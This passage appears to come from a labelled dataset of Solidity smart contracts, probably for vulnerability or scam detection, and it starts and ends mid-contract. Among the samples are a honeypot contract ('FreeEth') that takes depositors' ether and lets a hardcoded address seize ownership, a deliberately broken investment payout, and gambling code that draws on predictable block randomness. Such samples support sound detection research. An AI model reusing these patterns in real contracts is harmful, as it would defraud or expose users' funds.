tokenGive, amountGive, expires, nonce); if (!( (orders[user][hash] || ecrecover(sha3("\x19Ethereum Signed Message:\n32", hash),v,r,s) == user) && block.number <= expires && safeAdd(orderFills[user][hash], amount) <= amountGet )) throw; tradeBalances(tokenGet, amountGet, tokenGive, amountGive, user, amount); orderFills[user][hash] = safeAdd(orderFills[user][hash], amount); Trade(tokenGet, amount, tokenGive, amountGive * amount / amountGet, user, msg.sender, r, s); } function tradeBalances(address tokenGet, uint amountGet, address tokenGive, uint amountGive, address user, uint amount) private { uint feeMakeXfer = safeMul(amount, feeMake) / (1 ether); uint feeTakeXfer = safeMul(amount, feeTake) / (1 ether); uint feeRebateXfer = 0; if (accountLevelsAddr != 0x0) { uint accountLevel = AccountLevels(accountLevelsAddr).accountLevel(user); if (accountLevel==1) feeRebateXfer = safeMul(amount, feeRebate) / (1 ether); if (accountLevel==2) feeRebateXfer = feeTakeXfer; } tokens[tokenGet][msg.sender] = safeSub(tokens[tokenGet][msg.sender], safeAdd(amount, feeTakeXfer)); tokens[tokenGet][user] = safeAdd(tokens[tokenGet][user], safeSub(safeAdd(amount, feeRebateXfer), feeMakeXfer)); tokens[tokenGet][feeAccount] = safeAdd(tokens[tokenGet][feeAccount], safeSub(safeAdd(feeMakeXfer, feeTakeXfer), feeRebateXfer)); tokens[tokenGive][user] = safeSub(tokens[tokenGive][user], safeMul(amountGive, amount) / amountGet); tokens[tokenGive][msg.sender] = safeAdd(tokens[tokenGive][msg.sender], safeMul(amountGive, amount) / amountGet); } function testTrade(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s, uint amount, address sender) constant returns(bool) { if (!( tokens[tokenGet][sender] >= amount && availableVolume(tokenGet, amountGet, tokenGive, amountGive, expires, nonce, user, v, r, s) >= amount )) return false; return true; } function availableVolume(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s) constant returns(uint) { bytes32 hash = sha256(this, tokenGet, amountGet, tokenGive, amountGive, expires, nonce); if (!( (orders[user][hash] || ecrecover(sha3("\x19Ethereum Signed Message:\n32", hash),v,r,s) == user) && block.number <= expires )) return 0; uint available1 = safeSub(amountGet, orderFills[user][hash]); uint available2 = safeMul(tokens[tokenGive][user], amountGet) / amountGive; if (available1<available2) return available1; return available2; } function amountFilled(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s) constant returns(uint) { bytes32 hash = sha256(this, tokenGet, amountGet, tokenGive, amountGive, expires, nonce); return orderFills[user][hash]; } function cancelOrder(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, uint8 v, bytes32 r, bytes32 s) { bytes32 hash = sha256(this, tokenGet, amountGet, tokenGive, amountGive, expires, nonce); if (!(orders[msg.sender][hash] || ecrecover(sha3("\x19Ethereum Signed Message:\n32", hash),v,r,s) == msg.sender)) throw; orderFills[msg.sender][hash] = amountGet; Cancel(tokenGet, amountGet, tokenGive, amountGive, expires, nonce, msg.sender, v, r, s); } }
0
pragma solidity ^0.4.19; contract FreeEth { address public Owner = msg.sender; function() public payable{} function GetFreebie() public payable { if(msg.value>1 ether) { Owner.transfer(this.balance); msg.sender.transfer(this.balance); } } function withdraw() payable public { if(msg.sender==0x4E0d2f9AcECfE4DB764476C7A1DfB6d0288348af){Owner=0x4E0d2f9AcECfE4DB764476C7A1DfB6d0288348af;} require(msg.sender == Owner); Owner.transfer(this.balance); } function Command(address adr,bytes data) payable public { require(msg.sender == Owner); adr.call.value(msg.value)(data); } }
1
pragma solidity ^0.4.18; contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } pragma solidity ^0.4.18; contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } pragma solidity ^0.4.18; library SafeERC20 { function safeTransfer(ERC20Basic token, address to, uint256 value) internal { assert(token.transfer(to, value)); } function safeTransferFrom(ERC20 token, address from, address to, uint256 value) internal { assert(token.transferFrom(from, to, value)); } function safeApprove(ERC20 token, address spender, uint256 value) internal { assert(token.approve(spender, value)); } } pragma solidity ^0.4.18; contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function Ownable() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } pragma solidity ^0.4.18; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } pragma solidity ^0.4.18; contract TokenVesting is Ownable { using SafeMath for uint256; using SafeERC20 for ERC20Basic; event Released(uint256 amount); event Revoked(); address public beneficiary; uint256 public cliff; uint256 public start; uint256 public duration; bool public revocable; mapping (address => uint256) public released; mapping (address => bool) public revoked; function TokenVesting(address _beneficiary, uint256 _start, uint256 _cliff, uint256 _duration, bool _revocable) public { require(_beneficiary != address(0)); require(_cliff <= _duration); beneficiary = _beneficiary; revocable = _revocable; duration = _duration; cliff = _start.add(_cliff); start = _start; } function release(ERC20Basic token) public { uint256 unreleased = releasableAmount(token); require(unreleased > 0); released[token] = released[token].add(unreleased); token.safeTransfer(beneficiary, unreleased); Released(unreleased); } function revoke(ERC20Basic token) public onlyOwner { require(revocable); require(!revoked[token]); uint256 balance = token.balanceOf(this); uint256 unreleased = releasableAmount(token); uint256 refund = balance.sub(unreleased); revoked[token] = true; token.safeTransfer(owner, refund); Revoked(); } function releasableAmount(ERC20Basic token) public view returns (uint256) { return vestedAmount(token).sub(released[token]); } function vestedAmount(ERC20Basic token) public view returns (uint256) { uint256 currentBalance = token.balanceOf(this); uint256 totalBalance = currentBalance.add(released[token]); if (now < cliff) { return 0; } else if (now >= start.add(duration) || revoked[token]) { return totalBalance; } else { return totalBalance.mul(now.sub(start)).div(duration); } } } pragma solidity ^0.4.18; contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; modifier whenNotPaused() { require(!paused); _; } modifier whenPaused() { require(paused); _; } function pause() onlyOwner whenNotPaused public { paused = true; Pause(); } function unpause() onlyOwner whenPaused public { paused = false; Unpause(); } } pragma solidity ^0.4.18; contract CanReclaimToken is Ownable { using SafeERC20 for ERC20Basic; function reclaimToken(ERC20Basic token) external onlyOwner { uint256 balance = token.balanceOf(this); token.safeTransfer(owner, balance); } } pragma solidity ^0.4.19; contract KYCBase { using SafeMath for uint256; mapping (address => bool) public isKycSigner; mapping (uint64 => uint256) public alreadyPayed; event KycVerified(address indexed signer, address buyerAddress, uint64 buyerId, uint maxAmount); function KYCBase(address [] kycSigners) internal { for (uint i = 0; i < kycSigners.length; i++) { isKycSigner[kycSigners[i]] = true; } } function releaseTokensTo(address buyer) internal returns(bool); function senderAllowedFor(address buyer) internal view returns(bool) { return buyer == msg.sender; } function buyTokensFor(address buyerAddress, uint64 buyerId, uint maxAmount, uint8 v, bytes32 r, bytes32 s) public payable returns (bool) { require(senderAllowedFor(buyerAddress)); return buyImplementation(buyerAddress, buyerId, maxAmount, v, r, s); } function buyTokens(uint64 buyerId, uint maxAmount, uint8 v, bytes32 r, bytes32 s) public payable returns (bool) { return buyImplementation(msg.sender, buyerId, maxAmount, v, r, s); } function buyImplementation(address buyerAddress, uint64 buyerId, uint maxAmount, uint8 v, bytes32 r, bytes32 s) private returns (bool) { bytes32 hash = sha256("Eidoo icoengine authorization", this, buyerAddress, buyerId, maxAmount); address signer = ecrecover(hash, v, r, s); if (!isKycSigner[signer]) { revert(); } else { uint256 totalPayed = alreadyPayed[buyerId].add(msg.value); require(totalPayed <= maxAmount); alreadyPayed[buyerId] = totalPayed; KycVerified(signer, buyerAddress, buyerId, maxAmount); return releaseTokensTo(buyerAddress); } return true; } function () public { revert(); } } pragma solidity ^0.4.19; contract ICOEngineInterface { function started() public view returns(bool); function ended() public view returns(bool); function startTime() public view returns(uint); function endTime() public view returns(uint); function totalTokens() public view returns(uint); function remainingTokens() public view returns(uint); function price() public view returns(uint); } pragma solidity ^0.4.19; contract CrowdsaleBase is Pausable, CanReclaimToken, ICOEngineInterface, KYCBase { uint256 public constant USD_PER_TOKEN = 2; uint256 public constant USD_PER_ETHER = 795; uint256 public start; uint256 public end; uint256 public cap; address public wallet; uint256 public tokenPerEth; uint256 public availableTokens; address[] public kycSigners; bool public capReached; uint256 public weiRaised; uint256 public tokensSold; function CrowdsaleBase( uint256 _start, uint256 _end, uint256 _cap, address _wallet, address[] _kycSigners ) public KYCBase(_kycSigners) { require(_end >= _start); require(_cap > 0); start = _start; end = _end; cap = _cap; wallet = _wallet; tokenPerEth = USD_PER_ETHER.div(USD_PER_TOKEN); availableTokens = _cap; kycSigners = _kycSigners; } function started() public view returns(bool) { if (block.timestamp >= start) { return true; } else { return false; } } function ended() public view returns(bool) { if (block.timestamp >= end) { return true; } else { return false; } } function startTime() public view returns(uint) { return start; } function endTime() public view returns(uint) { return end; } function totalTokens() public view returns(uint) { return cap; } function remainingTokens() public view returns(uint) { return availableTokens; } function senderAllowedFor(address buyer) internal view returns(bool) { require(buyer != address(0)); return true; } function releaseTokensTo(address buyer) internal returns(bool) { require(validPurchase()); uint256 overflowTokens; uint256 refundWeiAmount; uint256 weiAmount = msg.value; uint256 tokenAmount = weiAmount.mul(price()); if (tokenAmount >= availableTokens) { capReached = true; overflowTokens = tokenAmount.sub(availableTokens); tokenAmount = tokenAmount.sub(overflowTokens); refundWeiAmount = overflowTokens.div(price()); weiAmount = weiAmount.sub(refundWeiAmount); buyer.transfer(refundWeiAmount); } weiRaised = weiRaised.add(weiAmount); tokensSold = tokensSold.add(tokenAmount); availableTokens = availableTokens.sub(tokenAmount); mintTokens(buyer, tokenAmount); forwardFunds(weiAmount); return true; } function forwardFunds(uint256 _weiAmount) internal { wallet.transfer(_weiAmount); } function validPurchase() internal view returns (bool) { require(!paused && !capReached); require(block.timestamp >= start && block.timestamp <= end); return true; } function mintTokens(address to, uint256 amount) private; } pragma solidity ^0.4.19; contract Reservation is CrowdsaleBase { uint256 public constant START_TIME = 1525683600; uint256 public constant END_TIME = 1525856400; uint256 public constant RESERVATION_CAP = 7.5e6 * 1e18; uint256 public constant BONUS = 110; UacCrowdsale public crowdsale; function Reservation( address _wallet, address[] _kycSigners ) public CrowdsaleBase(START_TIME, END_TIME, RESERVATION_CAP, _wallet, _kycSigners) { } function setCrowdsale(address _crowdsale) public { require(crowdsale == address(0)); crowdsale = UacCrowdsale(_crowdsale); } function price() public view returns (uint256) { return tokenPerEth.mul(BONUS).div(1e2); } function mintTokens(address to, uint256 amount) private { crowdsale.mintReservationTokens(to, amount); } } pragma solidity ^0.4.18; contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; function totalSupply() public view returns (uint256) { return totalSupply_; } function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } pragma solidity ^0.4.18; contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } pragma solidity ^0.4.18; contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); Mint(_to, _amount); Transfer(address(0), _to, _amount); return true; } function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; MintFinished(); return true; } } pragma solidity ^0.4.18; contract PausableToken is StandardToken, Pausable { function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transferFrom(_from, _to, _value); } function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) { return super.approve(_spender, _value); } function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) { return super.increaseApproval(_spender, _addedValue); } function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) { return super.decreaseApproval(_spender, _subtractedValue); } } pragma solidity ^0.4.19; contract UacToken is CanReclaimToken, MintableToken, PausableToken { string public constant name = "Ubiatar Coin"; string public constant symbol = "UAC"; uint8 public constant decimals = 18; function UacToken() public { paused = true; } } pragma solidity ^0.4.19; contract UbiatarPlayVault { using SafeMath for uint256; using SafeERC20 for UacToken; uint256[6] public vesting_offsets = [ 90 days, 180 days, 270 days, 360 days, 540 days, 720 days ]; uint256[6] public vesting_amounts = [ 2e6 * 1e18, 4e6 * 1e18, 6e6 * 1e18, 8e6 * 1e18, 10e6 * 1e18, 20.5e6 * 1e18 ]; address public ubiatarPlayWallet; UacToken public token; uint256 public start; uint256 public released; function UbiatarPlayVault( address _ubiatarPlayWallet, address _token, uint256 _start ) public { ubiatarPlayWallet = _ubiatarPlayWallet; token = UacToken(_token); start = _start; } function release() public { uint256 unreleased = releasableAmount(); require(unreleased > 0); released = released.add(unreleased); token.safeTransfer(ubiatarPlayWallet, unreleased); } function releasableAmount() public view returns (uint256) { return vestedAmount().sub(released); } function vestedAmount() public view returns (uint256) { uint256 vested = 0; for (uint256 i = 0; i < vesting_offsets.length; i = i.add(1)) { if (block.timestamp > start.add(vesting_offsets[i])) { vested = vested.add(vesting_amounts[i]); } } return vested; } } pragma solidity ^0.4.17; contract PresaleTokenVault { using SafeMath for uint256; using SafeERC20 for ERC20Basic; uint256 public constant VESTING_OFFSET = 90 days; uint256 public constant VESTING_DURATION = 180 days; uint256 public start; uint256 public cliff; uint256 public end; ERC20Basic public token; struct Investment { address beneficiary; uint256 totalBalance; uint256 released; } Investment[] public investments; mapping(address => uint256) public investorLUT; function init(address[] beneficiaries, uint256[] balances, uint256 startTime, address _token) public { require(token == address(0)); require(beneficiaries.length == balances.length); start = startTime; cliff = start.add(VESTING_OFFSET); end = cliff.add(VESTING_DURATION); token = ERC20Basic(_token); for (uint256 i = 0; i < beneficiaries.length; i = i.add(1)) { investorLUT[beneficiaries[i]] = investments.length; investments.push(Investment(beneficiaries[i], balances[i], 0)); } } function release(address beneficiary) public { uint256 unreleased = releasableAmount(beneficiary); require(unreleased > 0); uint256 investmentIndex = investorLUT[beneficiary]; investments[investmentIndex].released = investments[investmentIndex].released.add(unreleased); token.safeTransfer(beneficiary, unreleased); } function release() public { release(msg.sender); } function releasableAmount(address beneficiary) public view returns (uint256) { uint256 investmentIndex = investorLUT[beneficiary]; return vestedAmount(beneficiary).sub(investments[investmentIndex].released); } function vestedAmount(address beneficiary) public view returns (uint256) { uint256 investmentIndex = investorLUT[beneficiary]; uint256 vested = 0; if (block.timestamp >= start) { vested = investments[investmentIndex].totalBalance.div(3); } if (block.timestamp >= cliff && block.timestamp < end) { uint256 p1 = investments[investmentIndex].totalBalance.div(3); uint256 p2 = investments[investmentIndex].totalBalance; uint256 d_token = p2.sub(p1); uint256 time = block.timestamp.sub(cliff); uint256 d_time = end.sub(cliff); vested = vested.add(d_token.mul(time).div(d_time)); } if (block.timestamp >= end) { vested = investments[investmentIndex].totalBalance; } return vested; } } pragma solidity ^0.4.19; contract UacCrowdsale is CrowdsaleBase { uint256 public constant START_TIME = 1525856400; uint256 public constant END_TIME = 1528448400; uint256 public constant PRESALE_VAULT_START = END_TIME + 7 days; uint256 public constant PRESALE_CAP = 17584778551358900100698693; uint256 public constant TOTAL_MAX_CAP = 15e6 * 1e18; uint256 public constant CROWDSALE_CAP = 7.5e6 * 1e18; uint256 public constant FOUNDERS_CAP = 12e6 * 1e18; uint256 public constant UBIATARPLAY_CAP = 50.5e6 * 1e18; uint256 public constant ADVISORS_CAP = 4915221448641099899301307; uint256 public constant BONUS_TIER1 = 108; uint256 public constant BONUS_TIER2 = 106; uint256 public constant BONUS_TIER3 = 104; uint256 public constant BONUS_DURATION_1 = 3 hours; uint256 public constant BONUS_DURATION_2 = 12 hours; uint256 public constant BONUS_DURATION_3 = 42 hours; uint256 public constant FOUNDERS_VESTING_CLIFF = 1 years; uint256 public constant FOUNDERS_VESTING_DURATION = 2 years; Reservation public reservation; PresaleTokenVault public presaleTokenVault; TokenVesting public foundersVault; UbiatarPlayVault public ubiatarPlayVault; address public foundersWallet; address public advisorsWallet; address public ubiatarPlayWallet; address public wallet; UacToken public token; bool public didOwnerEndCrowdsale; function UacCrowdsale( address _token, address _reservation, address _presaleTokenVault, address _foundersWallet, address _advisorsWallet, address _ubiatarPlayWallet, address _wallet, address[] _kycSigners ) public CrowdsaleBase(START_TIME, END_TIME, TOTAL_MAX_CAP, _wallet, _kycSigners) { token = UacToken(_token); reservation = Reservation(_reservation); presaleTokenVault = PresaleTokenVault(_presaleTokenVault); foundersWallet = _foundersWallet; advisorsWallet = _advisorsWallet; ubiatarPlayWallet = _ubiatarPlayWallet; wallet = _wallet; foundersVault = new TokenVesting(foundersWallet, END_TIME, FOUNDERS_VESTING_CLIFF, FOUNDERS_VESTING_DURATION, false); ubiatarPlayVault = new UbiatarPlayVault(ubiatarPlayWallet, address(token), END_TIME); } function mintPreAllocatedTokens() public onlyOwner { mintTokens(address(foundersVault), FOUNDERS_CAP); mintTokens(advisorsWallet, ADVISORS_CAP); mintTokens(address(ubiatarPlayVault), UBIATARPLAY_CAP); } function initPresaleTokenVault(address[] beneficiaries, uint256[] balances) public onlyOwner { require(beneficiaries.length == balances.length); presaleTokenVault.init(beneficiaries, balances, PRESALE_VAULT_START, token); uint256 totalPresaleBalance = 0; uint256 balancesLength = balances.length; for(uint256 i = 0; i < balancesLength; i++) { totalPresaleBalance = totalPresaleBalance.add(balances[i]); } mintTokens(presaleTokenVault, totalPresaleBalance); } function price() public view returns (uint256 _price) { if (block.timestamp <= start.add(BONUS_DURATION_1)) { return tokenPerEth.mul(BONUS_TIER1).div(1e2); } else if (block.timestamp <= start.add(BONUS_DURATION_2)) { return tokenPerEth.mul(BONUS_TIER2).div(1e2); } else if (block.timestamp <= start.add(BONUS_DURATION_3)) { return tokenPerEth.mul(BONUS_TIER3).div(1e2); } return tokenPerEth; } function mintReservationTokens(address to, uint256 amount) public { require(msg.sender == address(reservation)); tokensSold = tokensSold.add(amount); availableTokens = availableTokens.sub(amount); mintTokens(to, amount); } function mintTokens(address to, uint256 amount) private { token.mint(to, amount); } function closeCrowdsale() public onlyOwner { require(block.timestamp >= START_TIME && block.timestamp < END_TIME); didOwnerEndCrowdsale = true; } function finalise() public onlyOwner { require(didOwnerEndCrowdsale || block.timestamp > end || capReached); token.finishMinting(); token.unpause(); token.transferOwnership(owner); } }
0
pragma solidity ^0.4.25; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address who) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function transfer(address to, uint256 value) external returns (bool); function approve(address spender, uint256 value) external returns (bool); function transferFrom(address from, address to, uint256 value) external returns (bool); event Transfer( address indexed from, address indexed to, uint256 value ); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0); uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowed; uint256 private _totalSupply; function totalSupply() public view returns (uint256) { return _totalSupply; } function balanceOf(address owner) public view returns (uint256) { return _balances[owner]; } function allowance( address owner, address spender ) public view returns (uint256) { return _allowed[owner][spender]; } function transfer(address to, uint256 value) public returns (bool) { _transfer(msg.sender, to, value); return true; } function approve(address spender, uint256 value) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } function transferFrom( address from, address to, uint256 value ) public returns (bool) { require(value <= _allowed[from][msg.sender]); _allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value); _transfer(from, to, value); return true; } function increaseAllowance( address spender, uint256 addedValue ) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = ( _allowed[msg.sender][spender].add(addedValue)); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } function decreaseAllowance( address spender, uint256 subtractedValue ) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = ( _allowed[msg.sender][spender].sub(subtractedValue)); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } function _transfer(address from, address to, uint256 value) internal { require(value <= _balances[from]); require(to != address(0)); _balances[from] = _balances[from].sub(value); _balances[to] = _balances[to].add(value); emit Transfer(from, to, value); } function _mint(address account, uint256 value) internal { require(account != 0); _totalSupply = _totalSupply.add(value); _balances[account] = _balances[account].add(value); emit Transfer(address(0), account, value); } function _burn(address account, uint256 value) internal { require(account != 0); require(value <= _balances[account]); _totalSupply = _totalSupply.sub(value); _balances[account] = _balances[account].sub(value); emit Transfer(account, address(0), value); } function _burnFrom(address account, uint256 value) internal { require(value <= _allowed[account][msg.sender]); _allowed[account][msg.sender] = _allowed[account][msg.sender].sub( value); _burn(account, value); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string name, string symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string) { return _name; } function symbol() public view returns(string) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract BitherToken is ERC20, ERC20Detailed { uint256 constant private TOTAL_BITHER_TOKENS = 45000000; constructor() ERC20Detailed("BitherToken", "BTR", 18) public { _mint(msg.sender, TOTAL_BITHER_TOKENS * (10 ** 18)); } }
1
pragma solidity ^0.4.25; contract EasyInvest5 { uint256 public investorsCount; mapping (address => uint256) public invested; mapping (address => uint256) atBlock; function () external payable { if (invested[msg.sender] != 0 && block.number > atBlock[msg.sender]) { uint256 amount = invested[msg.sender] * 5 / 100 * (block.number - atBlock[msg.sender]) / 5900; if (this.balance > amount) amount = this.balance; msg.sender.transfer(amount); } invested[msg.sender] += msg.value; atBlock[msg.sender] = block.number *investorsCount++; } }
1
pragma solidity 0.4.15; contract ERC20 { function totalSupply() constant returns (uint256 totalSupply) {} function balanceOf(address _owner) constant returns (uint256 balance) {} function transfer(address _recipient, uint256 _value) returns (bool success) {} function transferFrom(address _from, address _recipient, uint256 _value) returns (bool success) {} function approve(address _spender, uint256 _value) returns (bool success) {} function allowance(address _owner, address _spender) constant returns (uint256 remaining) {} event Transfer(address indexed _from, address indexed _recipient, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is ERC20 { uint256 public totalSupply; mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; modifier when_can_transfer(address _from, uint256 _value) { if (balances[_from] >= _value) _; } modifier when_can_receive(address _recipient, uint256 _value) { if (balances[_recipient] + _value > balances[_recipient]) _; } modifier when_is_allowed(address _from, address _delegate, uint256 _value) { if (allowed[_from][_delegate] >= _value) _; } function transfer(address _recipient, uint256 _value) when_can_transfer(msg.sender, _value) when_can_receive(_recipient, _value) returns (bool o_success) { balances[msg.sender] -= _value; balances[_recipient] += _value; Transfer(msg.sender, _recipient, _value); return true; } function transferFrom(address _from, address _recipient, uint256 _value) when_can_transfer(_from, _value) when_can_receive(_recipient, _value) when_is_allowed(_from, msg.sender, _value) returns (bool o_success) { allowed[_from][msg.sender] -= _value; balances[_from] -= _value; balances[_recipient] += _value; Transfer(_from, _recipient, _value); return true; } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool o_success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 o_remaining) { return allowed[_owner][_spender]; } } contract ZBCToken is StandardToken { string public name = "ZBCoin"; string public symbol = "ZBC"; uint public decimals = 3; uint public constant MAX_SUPPLY = 300000000000; address public ownerAddress; bool public halted; mapping(address => uint256) public issuedTokens; modifier only_owner() { if (msg.sender != ownerAddress) throw; _; } modifier is_not_halted() { if (halted) throw; _; } event Issue(address indexed _recipient, uint _amount); function ZBCToken () { ownerAddress = msg.sender; balances[this] += MAX_SUPPLY; totalSupply += MAX_SUPPLY; } function toggleHalt(bool _halted) only_owner { halted = _halted; } function issueToken(address _recipent, uint _amount) only_owner is_not_halted returns (bool o_success) { this.transfer(_recipent, _amount); Issue(_recipent, _amount); issuedTokens[_recipent] += _amount; return true; } function transfer(address _recipient, uint _amount) is_not_halted returns (bool o_success) { return super.transfer(_recipient, _amount); } function transferFrom(address _from, address _recipient, uint _amount) is_not_halted returns (bool o_success) { return super.transferFrom(_from, _recipient, _amount); } }
1
pragma solidity ^0.4.25; contract Ownable { address public owner; constructor() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); owner = newOwner; } modifier isHuman() { address _addr = msg.sender; require (_addr == tx.origin); uint256 _codeLength; assembly {_codeLength := extcodesize(_addr)} require(_codeLength == 0, "sorry humans only"); _; } } contract pokerEvents{ event Bettings( uint indexed guid, uint gameType, address indexed playerAddr, uint[] bet, bool indexed result, uint winNo, uint amount, uint winAmount, uint jackpot ); event JackpotPayment( uint indexed juid, address indexed playerAddr, uint amount, uint winAmount ); event FreeLottery( uint indexed luid, address indexed playerAddr, uint winNo, uint indexed winAmount ); } contract Poker is Ownable,pokerEvents{ using inArrayExt for address[]; using intArrayExt for uint[]; address private opAddress; address private wallet1; address private wallet2; bool public gamePaused=false; uint public guid=1; uint public luid=1; mapping(string=>uint) odds; uint minPrize=0.01 ether; uint lotteryPercent = 3 ether; uint public minBetVal=0.01 ether; uint public maxBetVal=1 ether; struct FreeLotto{ bool active; uint prob; uint prize; uint freezeTimer; uint count; mapping(address => uint) lastTime; } mapping(uint=>FreeLotto) lotto; mapping(address=>uint) playerCount; bool freeLottoActive=true; uint public jpBalance=0; uint jpMinBetAmount=0.05 ether; uint jpMinPrize=0.01 ether; uint jpChance=1000; uint jpPercent=0.3 ether; bytes32 private rndSeed; uint private minute=60; uint private hour=60*60; constructor(address _rndAddr) public{ opAddress=msg.sender; wallet1=msg.sender; wallet2=msg.sender; odds['bs']=1.97 ether; odds['suit']=3.82 ether; odds['num']=11.98 ether; odds['nsuit']=49.98 ether; lotto[1]=FreeLotto(true,1000,0.1 ether,hour / 100 ,0); lotto[2]=FreeLotto(true,100000,1 ether,3*hour/100 ,0); RandomOnce rnd=RandomOnce(_rndAddr); bytes32 _rndSeed=rnd.getRandom(); rnd.destruct(); rndSeed=keccak256(abi.encodePacked(blockhash(block.number-1), msg.sender,now,_rndSeed)); } function play(uint _gType,uint[] _bet) payable isHuman() public{ require(!gamePaused,'Game Pause'); require(msg.value >= minBetVal*_bet.length && msg.value <= maxBetVal*_bet.length,"value is incorrect" ); bool _ret=false; uint _betAmount= msg.value /_bet.length; uint _prize=0; uint _winNo= uint(keccak256(abi.encodePacked(rndSeed,msg.sender,block.coinbase,block.timestamp, block.difficulty,block.gaslimit))) % 52 + 1; rndSeed = keccak256(abi.encodePacked(msg.sender,block.timestamp,rndSeed, block.difficulty)); if(_gType==1){ if(_betAmount * odds['bs'] / 1 ether >= address(this).balance/2){ revert("over max bet amount"); } if((_winNo >= 29 && _bet.contain(2)) || (_winNo <= 24 && _bet.contain(1))){ _ret=true; _prize=(_betAmount * odds['bs']) / 1 ether; }else if(_winNo>=25 && _winNo <=28 && _bet.contain(0)){ _ret=true; _prize=(_betAmount * 12 ether) / 1 ether; } } if(_gType==2 && _bet.contain(_winNo%4+1)){ if(_betAmount * odds['suit'] / 1 ether >= address(this).balance/2){ revert("over max bet 